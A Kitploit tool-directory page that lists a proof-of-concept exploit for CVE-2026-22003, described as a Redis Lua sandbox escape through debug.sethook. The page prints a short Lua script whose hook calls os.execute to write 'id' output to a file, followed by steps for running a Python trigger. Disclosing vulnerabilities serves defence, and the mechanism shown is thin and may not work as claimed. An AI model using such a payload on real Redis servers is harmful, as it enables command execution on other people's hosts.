Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-22003-Redis-Lua-Sandbox-Escape-via-debug.sethook- — Proof-of-concept exploit for CVE-2026-22003 demonstrating Redis Lua sandbox escape via debug.sethook to execute arbitrary system commands. | Kitploit
Tools/GitHubGitHub/george0papasotiriou/cve-2026-22003-redis-lua-sandbox-escape-via-debug.sethook-
Privilege EscalationVulnerability AnalysisExploitationDatabase SecurityAdversarial Attack
GitHubgeorge0papasotiriou/cve-2026-22003-redis-lua-sandbox-escape-via-debug.sethook-

CVE-2026-22003-Redis-Lua-Sandbox-Escape-via-debug.sethook-

Proof-of-concept exploit for CVE-2026-22003 demonstrating Redis Lua sandbox escape via debug.sethook to execute arbitrary system commands.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
31 month agoNot yet reviewed

CVE-2026-22003 – Redis Lua Sandbox Escape via debug.sethook

Program Code (Lua + Python trigger)

root@kitploit:~
-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
  debug.sethook(function() 
    -- This hook runs in a privileged context
    os.execute("id > /tmp/redis_escape") 
  end, "r")
  local a = 1
end
return escape()

CVE-2026-22003 – Redis Lua Sandbox Escape via debug.sethook

Severity: Critical

Overview

The Redis Lua sandbox does not properly disable the debug.sethook function. An attacker who can run Lua scripts can install a hook that executes in a privileged context and break out of the sandbox to execute arbitrary system commands.

Vulnerability Details

  • Type: Sandbox Escape
  • Impact: Remote Code Execution on the Redis host.
  • Root Cause: The Lua environment’s debug library remains accessible, allowing hooks that can call os.execute or similar functions.

Exploit Demonstration

  1. Start a Redis server (with default config that allows EVAL).
  2. Run the exploit:
    root@kitploit:~
    pip install redis
    python trigger_redis_sandbox_escape.py
    

The file /tmp/redis_escape is created, proving command execution.

Download Tool